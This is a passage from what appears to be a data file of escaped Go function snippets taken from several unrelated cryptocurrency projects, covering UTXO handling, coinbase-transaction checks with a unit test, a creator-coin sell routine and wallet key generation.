tb.wallet.nextPrimarySeedAddress()\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t\trefundOutput := types.CoinOutput{\n\t\t\tValue: fund.Sub(amount),\n\t\t\tCondition: types.NewCondition(types.NewUnlockHashCondition(refundUnlockHash)),\n\t\t}\n\t\ttb.transaction.CoinOutputs = append(tb.transaction.CoinOutputs, refundOutput)\n\t}\n\n\t// Mark all outputs that were spent as spent.\n\tfor _, scoid := range spentScoids {\n\t\ttb.wallet.spentOutputs[types.OutputID(scoid)] = tb.wallet.consensusSetHeight\n\t}\n\treturn nil\n}", "func (api *PublicEthereumAPI) Coinbase() (common.Address, error) {\n\tapi.logger.Debug(\"eth_coinbase\")\n\n\tnode, err := api.clientCtx.GetNode()\n\tif err != nil {\n\t\treturn common.Address{}, err\n\t}\n\n\tstatus, err := node.Status()\n\tif err != nil {\n\t\treturn common.Address{}, err\n\t}\n\n\treturn common.BytesToAddress(status.ValidatorInfo.Address.Bytes()), nil\n}", "func (t *Transaction) IsCoinbase() bool {\n\treturn len(t.Vint) == 1 && len(t.Vint[0].TxHash) == 0 && t.Vint[0].Index == -1\n}", "func GetUnspentOutputCoinsExceptSpendingUTXO(rpcClient *rpcclient.HttpClient, keyWallet *wallet.KeyWallet) ([]*crypto.InputCoin, error) {\n\tpublicKey := keyWallet.KeySet.PaymentAddress.Pk\n\n\t// check and remove utxo cache (these utxos in txs that were confirmed)\n\t//CheckAndRemoveUTXOFromCache(keyWallet.KeySet.PaymentAddress.Pk, inputCoins)\n\tCheckAndRemoveUTXOFromCacheV2(keyWallet.KeySet.PaymentAddress.Pk, rpcClient)\n\n\t// get unspent output coins from network\n\tutxos, err := GetUnspentOutputCoins(rpcClient, keyWallet)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tinputCoins := ConvertOutputCoinToInputCoin(utxos)\n\n\t// except spending utxos from unspent output coins\n\tutxosInCache := GetUTXOCacheByPublicKey(publicKey)\n\tfor serialNumberStr, _ := range utxosInCache {\n\t\tfor i, inputCoin := range inputCoins {\n\t\t\tsnStrTmp := base58.Base58Check{}.Encode(inputCoin.CoinDetails.GetSerialNumber().ToBytesS(), common.ZeroByte)\n\t\t\tif snStrTmp == serialNumberStr {\n\t\t\t\tinputCoins = removeElementFromSlice(inputCoins, i)\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t}\n\treturn inputCoins, nil\n}", "func (bav *UtxoView) HelpConnectCreatorCoinSell(\n\ttxn *MsgBitCloutTxn, txHash *BlockHash, blockHeight uint32, verifySignatures bool) (\n\t_totalInput uint64, _totalOutput uint64, _bitCloutReturnedNanos uint64,\n\t_utxoOps []*UtxoOperation, _err error) {\n\n\t// Connect basic txn to get the total input and the total output without\n\t// considering the transaction metadata.\n\ttotalInput, totalOutput, utxoOpsForTxn, err := bav._connectBasicTransfer(\n\t\ttxn, txHash, blockHeight, verifySignatures)\n\tif err != nil {\n\t\treturn 0, 0, 0, nil, errors.Wrapf(err, \"_connectCreatorCoin: \")\n\t}\n\n\t// Force the input to be non-zero so that we can prevent replay attacks. If\n\t// we didn't do this then someone could replay your sell over and over again\n\t// to force-convert all your creator coin into BitClout. Think about it.\n\tif totalInput == 0 {\n\t\treturn 0, 0, 0, nil, RuleErrorCreatorCoinRequiresNonZeroInput\n\t}\n\n\t// Verify that the output does not exceed the input. This check should also\n\t// be done by the caller, but we do it here as well.\n\tif totalInput < totalOutput {\n\t\treturn 0, 0, 0, nil, errors.Wrapf(\n\t\t\tRuleErrorCreatorCoinTxnOutputExceedsInput,\n\t\t\t\"_connectCreatorCoin: Input: %v, Output: %v\", totalInput, totalOutput)\n\t}\n\n\t// At this point the inputs and outputs have been processed. Now we\n\t// need to handle the metadata.\n\n\t// Check that the specified profile public key is valid and that a profile\n\t// corresponding to that public key exists.\n\ttxMeta := txn.TxnMeta.(*CreatorCoinMetadataa)\n\tif len(txMeta.ProfilePublicKey) != btcec.PubKeyBytesLenCompressed {\n\t\treturn 0, 0, 0, nil, RuleErrorCreatorCoinInvalidPubKeySize\n\t}\n\n\t// Dig up the profile. It must exist for the user to be able to\n\t// operate on its coin.\n\texistingProfileEntry := bav.GetProfileEntryForPublicKey(txMeta.ProfilePublicKey)\n\tif existingProfileEntry == nil || existingProfileEntry.isDeleted {\n\t\treturn 0, 0, 0, nil, errors.Wrapf(\n\t\t\tRuleErrorCreatorCoinOperationOnNonexistentProfile,\n\t\t\t\"_connectCreatorCoin: Profile pub key: %v %v\",\n\t\t\tPkToStringMainnet(txMeta.ProfilePublicKey), PkToStringTestnet(txMeta.ProfilePublicKey))\n\t}\n\n\t// At this point we are confident that we have a profile that\n\t// exists that corresponds to the profile public key the user\n\t// provided.\n\n\t// Look up a BalanceEntry for the seller. If it doesn't exist then the seller\n\t// implicitly has a balance of zero coins, and so the sell transaction shouldn't be\n\t// allowed.\n\tsellerBalanceEntry, _, _ := bav._getBalanceEntryForHODLerPubKeyAndCreatorPubKey(\n\t\ttxn.PublicKey, existingProfileEntry.PublicKey)\n\tif sellerBalanceEntry == nil || sellerBalanceEntry.isDeleted {\n\t\treturn 0, 0, 0, nil, RuleErrorCreatorCoinSellerBalanceEntryDoesNotExist\n\t}\n\n\t// Check that the amount of creator coin being sold is non-zero.\n\tcreatorCoinToSellNanos := txMeta.CreatorCoinToSellNanos\n\tif creatorCoinToSellNanos == 0 {\n\t\treturn 0, 0, 0, nil, RuleErrorCreatorCoinSellMustTradeNonZeroCreatorCoin\n\t}\n\n\t// Check that the amount of creator coin being sold does not exceed the user's\n\t// balance of this particular creator coin.\n\tif creatorCoinToSellNanos > sellerBalanceEntry.BalanceNanos {\n\t\treturn 0, 0, 0, nil, errors.Wrapf(\n\t\t\tRuleErrorCreatorCoinSellInsufficientCoins,\n\t\t\t\"_connectCreatorCoin: CreatorCoin nanos being sold %v exceeds \"+\n\t\t\t\t\"user's creator coin balance %v\",\n\t\t\tcreatorCoinToSellNanos, sellerBalanceEntry.BalanceNanos)\n\t}\n\n\t// If the amount of BitClout locked in the profile is zero then selling is\n\t// not allowed.\n\tif existingProfileEntry.BitCloutLockedNanos == 0 {\n\t\treturn 0, 0, 0, nil, RuleErrorCreatorCoinSellNotAllowedWhenZeroBitCloutLocked\n\t}\n\n\tbitCloutBeforeFeesNanos := uint64(0)\n\t// Compute the amount of BitClout to return.\n\tif blockHeight > SalomonFixBlockHeight {\n\t\t// Following the SalomonFixBlockHeight block, if a user would be left with less than\n\t\t// bav.Params.CreatorCoinAutoSellThresholdNanos, we clear all their remaining holdings\n\t\t// to prevent 1 or 2 lingering creator coin nanos from staying in their wallet.\n\t\t// This also gives a method for cleanly and accurately reducing the numberOfHolders.\n\n\t\t// Note that we check that sellerBalanceEntry.BalanceNanos >= creatorCoinToSellNanos above.\n\t\tif sellerBalanceEntry.BalanceNanos-creatorCoinToSellNanos < bav.Params.CreatorCoinAutoSellThresholdNanos {\n\t\t\t// Setup to sell all the creator coins the seller has.\n\t\t\tcreatorCoinToSellNanos = sellerBalanceEntry.BalanceNanos\n\n\t\t\t// Compute the amount of BitClout to return with the new creatorCoinToSellNanos.\n\t\t\tbitCloutBeforeFeesNanos = CalculateBitCloutToReturn(\n\t\t\t\tcreatorCoinToSellNanos, existingProfileEntry.CoinsInCirculationNanos,\n\t\t\t\texistingProfileEntry.BitCloutLockedNanos, bav.Params)\n\n\t\t\t// If the amount the formula is offering is more than what is locked in the\n\t\t\t// profile, then truncate it down. This addresses an edge case where our\n\t\t\t// equations may return *too much* BitClout due to rounding errors.\n\t\t\tif bitCloutBeforeFeesNanos > existingProfileEntry.BitCloutLockedNanos {\n\t\t\t\tbitCloutBeforeFeesNanos = existingProfileEntry.BitCloutLockedNanos\n\t\t\t}\n\t\t} else {\n\t\t\t// If we're above the CreatorCoinAutoSellThresholdNanos, we can safely compute\n\t\t\t// the amount to return based on the Bancor curve.\n\t\t\tbitCloutBeforeFeesNanos = CalculateBitCloutToReturn(\n\t\t\t\tcreatorCoinToSellNanos, existingProfileEntry.CoinsInCirculationNanos,\n\t\t\t\texistingProfileEntry.BitCloutLockedNanos, bav.Params)\n\n\t\t\t// If the amount the formula is offering is more than what is locked in the\n\t\t\t// profile, then truncate it down. This addresses an edge case where our\n\t\t\t// equations may return *too much* BitClout due to rounding errors.\n\t\t\tif bitCloutBeforeFeesNanos > existingProfileEntry.BitCloutLockedNanos {\n\t\t\t\tbitCloutBeforeFeesNanos = existingProfileEntry.BitCloutLockedNanos\n\t\t\t}\n\t\t}\n\t} else {\n\t\t// Prior to the SalomonFixBlockHeight block, coins would be minted based on floating point\n\t\t// arithmetic with the exception being if a creator was selling all remaining creator coins. This caused\n\t\t// a rare issue where a creator would be left with 1 creator coin nano in circulation\n\t\t// and 1 nano BitClout locked after completely selling. This in turn made the Bancor Curve unstable.\n\n\t\tif creatorCoinToSellNanos == existingProfileEntry.CoinsInCirculationNanos {\n\t\t\tbitCloutBeforeFeesNanos = existingProfileEntry.BitCloutLockedNanos\n\t\t} else {\n\t\t\t// Calculate the amount to return based on the Bancor Curve.\n\t\t\tbitCloutBeforeFeesNanos = CalculateBitCloutToReturn(\n\t\t\t\tcreatorCoinToSellNanos, existingProfileEntry.CoinsInCirculationNanos,\n\t\t\t\texistingProfileEntry.BitCloutLockedNanos, bav.Params)\n\n\t\t\t// If the amount the formula is offering is more than what is locked in the\n\t\t\t// profile, then truncate it down. This addresses an edge case where our\n\t\t\t// equations may return *too much* BitClout due to rounding errors.\n\t\t\tif bitCloutBeforeFeesNanos > existingProfileEntry.BitCloutLockedNanos {\n\t\t\t\tbitCloutBeforeFeesNanos = existingProfileEntry.BitCloutLockedNanos\n\t\t\t}\n\t\t}\n\t}\n\n\t// Save all the old values from the CoinEntry before we potentially\n\t// update them. Note that CoinEntry doesn't contain any pointers and so\n\t// a direct copy is OK.\n\tprevCoinEntry := existingProfileEntry.CoinEntry\n\n\t// Subtract the amount of BitClout the seller is getting from the amount of\n\t// BitClout locked in the profile. Sanity-check that it does not exceed the\n\t// total amount of BitClout locked.\n\tif bitCloutBeforeFeesNanos > existingProfileEntry.BitCloutLockedNanos {\n\t\treturn 0, 0, 0, nil, fmt.Errorf(\"_connectCreatorCoin: BitClout nanos seller \"+\n\t\t\t\"would get %v exceeds BitClout nanos locked in profile %v\",\n\t\t\tbitCloutBeforeFeesNanos, existingProfileEntry.BitCloutLockedNanos)\n\t}\n\texistingProfileEntry.BitCloutLockedNanos -= bitCloutBeforeFeesNanos\n\n\t// Subtract the number of coins the seller is selling from the number of coins\n\t// in circulation. Sanity-check that it does not exceed the number of coins\n\t// currently in circulation.\n\tif creatorCoinToSellNanos > existingProfileEntry.CoinsInCirculationNanos {\n\t\treturn 0, 0, 0, nil, fmt.Errorf(\"_connectCreatorCoin: CreatorCoin nanos seller \"+\n\t\t\t\"is selling %v exceeds CreatorCoin nanos in circulation %v\",\n\t\t\tcreatorCoinToSellNanos, existingProfileEntry.CoinsInCirculationNanos)\n\t}\n\texistingProfileEntry.CoinsInCirculationNanos -= creatorCoinToSellNanos\n\n\t// Check if this is a complete sell of the seller's remaining creator coins\n\tif sellerBalanceEntry.BalanceNanos == creatorCoinToSellNanos {\n\t\texistingProfileEntry.NumberOfHolders -= 1\n\t}\n\n\t// If the number of holders has reached zero, we clear all the BitCloutLockedNanos and\n\t// creatorCoinToSellNanos to ensure that the profile is reset to its normal initial state.\n\t// It's okay to modify these values because they are saved in the PrevCoinEntry.\n\tif existingProfileEntry.NumberOfHolders == 0 {\n\t\texistingProfileEntry.BitCloutLockedNanos = 0\n\t\texistingProfileEntry.CoinsInCirculationNanos = 0\n\t}\n\n\t// Save the seller's balance before we modify it. We don't need to save the\n\t// creator's BalancEntry on a sell because the creator's balance will not\n\t// be modified.\n\tprevTransactorBalanceEntry := *sellerBalanceEntry\n\n\t// Subtract the number of coins the seller is selling from the number of coins\n\t// they HODL. Note that we already checked that this amount does not exceed the\n\t// seller's balance above. Note that this amount equals sellerBalanceEntry.BalanceNanos\n\t// in the event where the requested remaining creator coin balance dips\n\t// below CreatorCoinAutoSellThresholdNanos.\n\tsellerBalanceEntry.BalanceNanos -= creatorCoinToSellNanos\n\n\t// If the seller's balance will be zero after this transaction, set HasPurchased to false\n\tif sellerBalanceEntry.BalanceNanos == 0 {\n\t\tsellerBalanceEntry.HasPurchased = false\n\t}\n\n\t// Set the new BalanceEntry in our mappings for the seller and set the\n\t// ProfileEntry mappings as well since everything is up to date.\n\tbav._setBalanceEntryMappings(sellerBalanceEntry)\n\tbav._setProfileEntryMappings(existingProfileEntry)\n\n\t// Charge a fee on the BitClout the seller is getting to hedge against\n\t// floating point errors\n\tbitCloutAfterFeesNanos := IntDiv(\n\t\tIntMul(\n\t\t\tbig.NewInt(int64(bitCloutBeforeFeesNanos)),\n\t\t\tbig.NewInt(int64(100*100-bav.Params.CreatorCoinTradeFeeBasisPoints))),\n\t\tbig.NewInt(100*100)).Uint64()\n\n\t// Check that the seller is getting back an amount of BitClout that is\n\t// greater than or equal to what they expect. Note that this check is\n\t// skipped if the min amount specified is zero.\n\tif txMeta.MinBitCloutExpectedNanos != 0 &&\n\t\tbitCloutAfterFeesNanos < txMeta.MinBitCloutExpectedNanos {\n\n\t\treturn 0, 0, 0, nil, errors.Wrapf(\n\t\t\tRuleErrorBitCloutReceivedIsLessThanMinimumSetBySeller,\n\t\t\t\"_connectCreatorCoin: BitClout nanos that would be given to seller: \"+\n\t\t\t\t\"%v, amount user needed: %v\",\n\t\t\tbitCloutAfterFeesNanos, txMeta.MinBitCloutExpectedNanos)\n\t}\n\n\t// Now that we have all the information we need, save a UTXO allowing the user to\n\t// spend the BitClout from the sale in the future.\n\toutputKey := UtxoKey{\n\t\tTxID: *txn.Hash(),\n\t\t// The output is like an extra virtual output at the end of the transaction.\n\t\tIndex: uint32(len(txn.TxOutputs)),\n\t}\n\tutxoEntry := UtxoEntry{\n\t\tAmountNanos: bitCloutAfterFeesNanos,\n\t\tPublicKey: txn.PublicKey,\n\t\tBlockHeight: blockHeight,\n\t\tUtxoType: UtxoTypeCreatorCoinSale,\n\t\tUtxoKey: &outputKey,\n\t\t// We leave the position unset and isSpent to false by default.\n\t\t// The position will be set in the call to _addUtxo.\n\t}\n\t// If we have a problem adding this utxo return an error but don't\n\t// mark this block as invalid since it's not a rule error and the block\n\t// could therefore benefit from being processed in the future.\n\t_, err = bav._addUtxo(&utxoEntry)\n\tif err != nil {\n\t\treturn 0, 0, 0, nil, errors.Wrapf(\n\t\t\terr, \"_connectBitcoinExchange: Problem adding output utxo\")\n\t}\n\t// Note that we don't need to save a UTXOOperation for the added UTXO\n\t// because no extra information is needed in order to roll it back.\n\n\t// Add an operation to the list at the end indicating we've executed a\n\t// CreatorCoin txn. Save the previous state of the CoinEntry for easy\n\t// reversion during disconnect.\n\tutxoOpsForTxn = append(utxoOpsForTxn, &UtxoOperation{\n\t\tType: OperationTypeCreatorCoin,\n\t\tPrevCoinEntry: &prevCoinEntry,\n\t\tPrevTransactorBalanceEntry: &prevTransactorBalanceEntry,\n\t\tPrevCreatorBalanceEntry: nil,\n\t})\n\n\t// The BitClout that the user gets from selling their creator coin counts\n\t// as both input and output in the transaction.\n\treturn totalInput + bitCloutAfterFeesNanos,\n\t\ttotalOutput + bitCloutAfterFeesNanos,\n\t\tbitCloutAfterFeesNanos, utxoOpsForTxn, nil\n}", "func (t *Transaction) IsCoinbase() bool {\n\t// Check to see there is just 1 input and that it is not linked to any other transactions\n\treturn len(t.Inputs) == 1 && len(t.Inputs[0].ID) == 0 && t.Inputs[0].Out == -1\n}", "func TestIsCoinbaseTx(t *testing.T) {\n\ttests := []struct {\n\t\tname string // test description\n\t\ttx string // transaction to test\n\t\twantPreTrsy bool // expected coinbase result before treasury active\n\t\twantPostTrsy bool // expected coinbase result after treasury active\n\t}{{\n\t\tname: \"mainnet block 2 coinbase\",\n\t\ttx: \"010000000100000000000000000000000000000000000000000000000000000\" +\n\t\t\t\"00000000000ffffffff00ffffffff03fa1a981200000000000017a914f59161\" +\n\t\t\t\"58e3e2c4551c1796708db8367207ed13bb8700000000000000000000266a240\" +\n\t\t\t\"2000000000000000000000000000000000000000000000000000000ffa310d9\" +\n\t\t\t\"a6a9588edea1906f0000000000001976a9148ffe7a49ecf0f4858e7a5215530\" +\n\t\t\t\"2177398d2296988ac000000000000000001d8bc28820000000000000000ffff\" +\n\t\t\t\"ffff0800002f646372642f\",\n\t\twantPreTrsy: true,\n\t\twantPostTrsy: false,\n\t}, {\n\t\tname: \"modified mainnet block 2 coinbase: tx version 3\",\n\t\ttx: \"030000000100000000000000000000000000000000000000000000000000000\" +\n\t\t\t\"00000000000ffffffff00ffffffff02fa1a981200000000000017a914f59161\" +\n\t\t\t\"58e3e2c4551c1796708db8367207ed13bb8700000000000000000000266a240\" +\n\t\t\t\"2000000000000000000000000000000000000000000000000000000ffa310d9\" +\n\t\t\t\"a6a9588e000000000000000001d8bc28820000000000000000ffffffff08000\" +\n\t\t\t\"02f646372642f\",\n\t\twantPreTrsy: true,\n\t\twantPostTrsy: true,\n\t}, {\n\t\tname: \"modified mainnet block 2 coinbase: tx version 3, no miner payout\",\n\t\ttx: \"030000000100000000000000000000000000000000000000000000000000000\" +\n\t\t\t\"00000000000ffffffff00ffffffff02fa1a981200000000000017a914f59161\" +\n\t\t\t\"58e3e2c4551c1796708db8367207ed13bb8700000000000000000000266a240\" +\n\t\t\t\"2000000000000000000000000000000000000000000000000000000ffa310d9\" +\n\t\t\t\"a6a9588e000000000000000001d8bc28820000000000000000ffffffff08000\" +\n\t\t\t\"02f646372642f\",\n\t\twantPreTrsy: true,\n\t\twantPostTrsy: true,\n\t}, {\n\t\tname: \"mainnet block 3, tx[1] (one input), not coinbase\",\n\t\ttx: \"0100000001e68bcb9222c7f6336e865c81d7fd3e4b3244cd83998ac9767efcb\" +\n\t\t\t\"355b3cd295efe02000000ffffffff01105ba3940600000000001976a914dcfd\" +\n\t\t\t\"20801304752f618295dfe0a4c044afcfde3a88ac000000000000000001e04aa\" +\n\t\t\t\"7940600000001000000000000006b48304502210089d763b0c28314b5eb0d4c\" +\n\t\t\t\"97e0183a78bb4a656dcbcd293d29d91921a64c55af02203554e76f432f73862\" +\n\t\t\t\"edd4f2ed80a4599141b13c6ac2406158b05a97c6867a1ba01210244709193c0\" +\n\t\t\t\"5a649df0fb0a96180ec1a8e3cbcc478dc9c4a69a3ec5aba1e97a79\",\n\t\twantPreTrsy: false,\n\t\twantPostTrsy: false,\n\t}, {\n\t\tname: \"mainnet block 373, tx[5] (two inputs), not coinbase\",\n\t\ttx: \"010000000201261057a5ecaf6edede86c5446c62f067f30d654117668325090\" +\n\t\t\t\"9ac3e45bec00100000000ffffffff03c65ad19cb990cc916e38dc94f0255f34\" +\n\t\t\t\"4c5e9b7af3b69bfa19931f6027e44c0100000000ffffffff02c1c5760000000\" +\n\t\t\t\"00000001976a914e07c0b2a499312f5d95e3bd4f126e618087a15a588ac402c\" +\n\t\t\t\"42060000000000001976a91411f2b3135e457259009bdd14cfcb942eec58bd7\" +\n\t\t\t\"a88ac0000000000000000023851f6050000000073010000040000006a473044\" +\n\t\t\t\"022009ff5aed5d2e5eeec89319d0a700b7abdf842e248641804c82dee17df44\" +\n\t\t\t\"6c24202207c252cc36199ea8a6cc71d2252a3f7e61f9cce272dff82c5818e3b\" +\n\t\t\t\"f08167e3a6012102773925f9ee53837aa0efba2212f71ee8ab20aeb603fa732\" +\n\t\t\t\"4a8c2555efe5c482709ec0e010000000025010000050000006a473044022011\" +\n\t\t\t\"65136a2b792cc6d7e75f576ed64e1919cbf954afb989f8590844a628e58def0\" +\n\t\t\t\"2206ba7e60f5ae9810794297359cc883e7ff97ecd21bc7177fcc668a84f64a4\" +\n\t\t\t\"b9120121026a4151513b4e6650e3d213451037cd6b78ed829d12ed1d43d5d34\" +\n\t\t\t\"ce0834831e9\",\n\t\twantPreTrsy: false,\n\t\twantPostTrsy: false,\n\t}, {\n\t\tname: \"simnet block 32 coinbase (treasury active)\",\n\t\ttx: \"0300000001000000000000000000000000000000000000000000000000000000\" +\n\t\t\t\"0000000000ffffffff00ffffffff02000000000000000000000e6a0c20000000\" +\n\t\t\t\"93c1b2181e4cd3b100ac23fc0600000000001976a91423d4150eb4332733b5bf\" +\n\t\t\t\"88e5d9cea3897bc09dbc88ac00000000000000000100ac23fc06000000000000\" +\n\t\t\t\"00ffffffff0800002f646372642f\",\n\t\twantPreTrsy: true,\n\t\twantPostTrsy: true,\n\t}, {\n\t\tname: \"modified simnet block 32 coinbase (treasury active): no miner payout\",\n\t\ttx: \"030000000100000000000000000000000000000000000000000000000000000\" +\n\t\t\t\"00000000000ffffffff00ffffffff01000000000000000000000e6a0c200000\" +\n\t\t\t\"0093c1b2181e4cd3b100000000000000000100ac23fc0600000000000000fff\" +\n\t\t\t\"fffff0800002f646372642f\",\n\t\twantPreTrsy: true,\n\t\twantPostTrsy: true,\n\t}, {\n\t\tname: \"random simnet treasury spend\",\n\t\ttx: \"030000000100000000000000000000000000000000000000000000000000000\" +\n\t\t\t\"00000000000ffffffff00ffffffff0200000000000000000000226a20b63c13\" +\n\t\t\t\"400000000045c279dd8870eff33bc219a4c9a39a9190960601d8fccdefc0321\" +\n\t\t\t\"3400000000000001ac376a914c945ac8cdbf5e37ad4bfde5dc92f65e13ff5c6\" +\n\t\t\t\"7488ac000000008201000001b63c13400000000000000000ffffffff6440650\" +\n\t\t\t\"063174184d0438b26d05a2f6d3190d020994ef3c18ac110bf70df3d1ed7066c\" +\n\t\t\t\"8c62c349b8ae86862d04ee94d2bddc42bd33d449c1ba53ed37a2c8d1e8f8f62\" +\n\t\t\t\"102a36b785d584555696b69d1b2bbeff4010332b301e3edd316d79438554cac\" +\n\t\t\t\"b3e7c2\",\n\t\twantPreTrsy: true,\n\t\twantPostTrsy: false,\n\t}, {\n\t\t// This is neither a valid coinbase nor a valid treasury spend, but\n\t\t// since the coinbase identification function is only a fast heuristic,\n\t\t// this is crafted to test that.\n\t\tname: \"modified random simnet treasury spend: missing signature script\",\n\t\ttx: \"0300000001000000000000000000000000000000000000000000000000000000\" +\n\t\t\t\"0000000000ffffffff00ffffffff0200000000000000000000226a20b63c1340\" +\n\t\t\t\"0000000045c279dd8870eff33bc219a4c9a39a9190960601d8fccdefc0321340\" +\n\t\t\t\"0000000000001ac376a914c945ac8cdbf5e37ad4bfde5dc92f65e13ff5c67488\" +\n\t\t\t\"ac000000008201000001b63c13400000000000000000ffffffff00\",\n\t\twantPreTrsy: true,\n\t\twantPostTrsy: true,\n\t}}\n\n\tfor _, test := range tests {\n\t\ttxBytes, err := hex.DecodeString(test.tx)\n\t\tif err != nil {\n\t\t\tt.Errorf(\"%q: unexpected err parsing tx hex %q: %v\", test.name,\n\t\t\t\ttest.tx, err)\n\t\t\tcontinue\n\t\t}\n\n\t\tvar tx wire.MsgTx\n\t\tif err := tx.FromBytes(txBytes); err != nil {\n\t\t\tt.Errorf(\"%q: unexpected err parsing tx: %v\", test.name, err)\n\t\t\tcontinue\n\t\t}\n\n\t\tresult := IsCoinBaseTx(&tx, noTreasury)\n\t\tif result != test.wantPreTrsy {\n\t\t\tt.Errorf(\"%s: unexpected result pre treasury -- got %v, want %v\",\n\t\t\t\ttest.name, result, test.wantPreTrsy)\n\t\t\tcontinue\n\t\t}\n\n\t\tresult = IsCoinBaseTx(&tx, withTreasury)\n\t\tif result != test.wantPostTrsy {\n\t\t\tt.Errorf(\"%s: unexpected result post treasury -- got %v, want %v\",\n\t\t\t\ttest.name, result, test.wantPostTrsy)\n\t\t\tcontinue\n\t\t}\n\t}\n}", "func (bc *Blockchain) FindSpendableUTXOs(from string, amount int64, txs []*Transaction) (int64, map[string][]int) {\n\tvar total int64\n\tspendableMap := make(map[string][]int)\n\tutxos := bc.getUTXOsByAddress(from, txs)\n\n\tfor _, utxo := range utxos {\n\t\ttotal += utxo.Output.Value\n\t\ttransactionHash := hex.EncodeToString(utxo.TransactionHash)\n\t\tspendableMap[transactionHash] = append(spendableMap[transactionHash], utxo.Index)\n\t\tif total >= amount {\n\t\t\tbreak\n\t\t}\n\t}\n\n\tif total < amount {\n\t\tfmt.Printf(\"%s,余额不足,无法转账。。\", from)\n\t\tos.Exit(1)\n\t}\n\n\treturn total, spendableMap\n}", "func (k Keeper) GetAssetByCoinID(ctx sdk.Context, coinID int) (types.AssetParam, bool) {\n\tparams := k.GetParams(ctx)\n\tfor _, asset := range params.SupportedAssets {\n\t\tif asset.CoinID == coinID {\n\t\t\treturn asset, true\n\t\t}\n\t}\n\treturn types.AssetParam{}, false\n}", "func valueUnspentCredit(cred *credit) ([]byte, error) {\n\tif len(cred.scriptHash) != 32 {\n\t\treturn nil, fmt.Errorf(\"short script hash (expect 32 bytes)\")\n\t}\n\tv := make([]byte, 45)\n\tbinary.BigEndian.PutUint64(v, cred.amount.UintValue())\n\tif cred.flags.Change {\n\t\tv[8] |= 1 << 1\n\t}\n\tif cred.flags.Class == ClassStakingUtxo {\n\t\tv[8] |= 1 << 2\n\t}\n\tif cred.flags.Class == ClassBindingUtxo {\n\t\tv[8] |= 1 << 3\n\t}\n\tbinary.BigEndian.PutUint32(v[9:13], cred.maturity)\n\tcopy(v[13:45], cred.scriptHash)\n\treturn v, nil\n}", "func (w *Wallet) GetUTXO(s *aklib.DBConfig, pwd []byte, isPublic bool) ([]*tx.UTXO, uint64, error) {\n\tvar bal uint64\n\tvar utxos []*tx.UTXO\n\tadrmap := w.AddressChange\n\tif isPublic {\n\t\tadrmap = w.AddressPublic\n\t}\n\tfor adrname := range adrmap {\n\t\tlog.Println(adrname)\n\t\tadr := &Address{\n\t\t\tAdrstr: adrname,\n\t\t}\n\t\tif pwd != nil {\n\t\t\tvar err error\n\t\t\tadr, err = w.GetAddress(s, adrname, pwd)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, 0, err\n\t\t\t}\n\t\t}\n\t\ths, err := imesh.GetHisoty2(s, adrname, true)\n\t\tif err != nil {\n\t\t\treturn nil, 0, err\n\t\t}\n\t\tfor _, h := range hs {\n\t\t\tswitch h.Type {\n\t\t\tcase tx.TypeOut:\n\t\t\t\ttr, err := imesh.GetTxInfo(s.DB, h.Hash)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn nil, 0, err\n\t\t\t\t}\n\t\t\t\toutstat := tr.OutputStatus[0][h.Index]\n\t\t\t\tif !tr.IsAccepted() ||\n\t\t\t\t\t(outstat.IsReferred || outstat.IsSpent || outstat.UsedByMinable != nil) {\n\t\t\t\t\tlog.Println(h.Hash, outstat.IsReferred, outstat.IsSpent, outstat.UsedByMinable)\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\t\t\t\tu := &tx.UTXO{\n\t\t\t\t\tAddress: adr,\n\t\t\t\t\tValue: tr.Body.Outputs[h.Index].Value,\n\t\t\t\t\tInoutHash: h,\n\t\t\t\t}\n\t\t\t\tutxos = append(utxos, u)\n\t\t\t\tbal += u.Value\n\t\t\t}\n\t\t}\n\t}\n\treturn utxos, bal, nil\n}", "func GenerateCoinKey(algo keyring.SignatureAlgo, cdc codec.Codec) (sdk.AccAddress, string, error) {\n\t// generate a private key, with mnemonic\n\tinfo, secret, err := keyring.NewInMemory(cdc).NewMnemonic(\n\t\t\"name\",\n\t\tkeyring.English,\n\t\tsdk.GetConfig().GetFullBIP44Path(),\n\t\tkeyring.DefaultBIP39Passphrase,\n\t\talgo,\n\t)\n\tif err != nil {\n\t\treturn sdk.AccAddress{}, \"\", err\n\t}\n\taddr, err := info.GetAddress()\n\tif err != nil {\n\t\treturn sdk.AccAddress{}, \"\", err\n\t}\n\treturn addr, secret, nil\n}", "func (keeper SendKeeper) InputOutputCoins(ctx sdk.Context, inputs []Input, outputs []Output) sdk.Error {\n\treturn inputOutputCoins(ctx, keeper.am, inputs, outputs)\n}", "func (dcr *ExchangeWallet) parseUTXOs(unspents []*walletjson.ListUnspentResult) ([]*compositeUTXO, error) {\n\tutxos := make([]*compositeUTXO, 0, len(unspents))\n\tfor _, utxo := range unspents {\n\t\tif !utxo.Spendable {\n\t\t\tcontinue\n\t\t}\n\t\tscriptPK, err := hex.DecodeString(utxo.ScriptPubKey)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"error decoding pubkey script for %s, script = %s: %w\", utxo.TxID, utxo.ScriptPubKey, err)\n\t\t}\n\t\tredeemScript, err := hex.DecodeString(utxo.RedeemScript)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"error decoding redeem script for %s, script = %s: %w\", utxo.TxID, utxo.RedeemScript, err)\n\t\t}\n\n\t\t// NOTE: listunspent does not indicate script version, so for the\n\t\t// purposes of our funding coins, we are going to assume 0.\n\t\tnfo, err := dexdcr.InputInfo(0, scriptPK, redeemScript, dcr.chainParams)\n\t\tif err != nil {\n\t\t\tif errors.Is(err, dex.UnsupportedScriptError) {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\treturn nil, fmt.Errorf(\"error reading asset info: %w\", err)\n\t\t}\n\t\tif nfo.ScriptType == dexdcr.ScriptUnsupported || nfo.NonStandardScript {\n\t\t\t// InputInfo sets NonStandardScript for P2SH with non-standard\n\t\t\t// redeem scripts. Don't return these since they cannot fund\n\t\t\t// arbitrary txns.\n\t\t\tcontinue\n\t\t}\n\t\tutxos = append(utxos, &compositeUTXO{\n\t\t\trpc: utxo,\n\t\t\tinput: nfo,\n\t\t\tconfs: utxo.Confirmations,\n\t\t})\n\t}\n\t// Sort in ascending order by amount (smallest first).\n\tsort.Slice(utxos, func(i, j int) bool { return utxos[i].rpc.Amount < utxos[j].rpc.Amount })\n\treturn utxos, 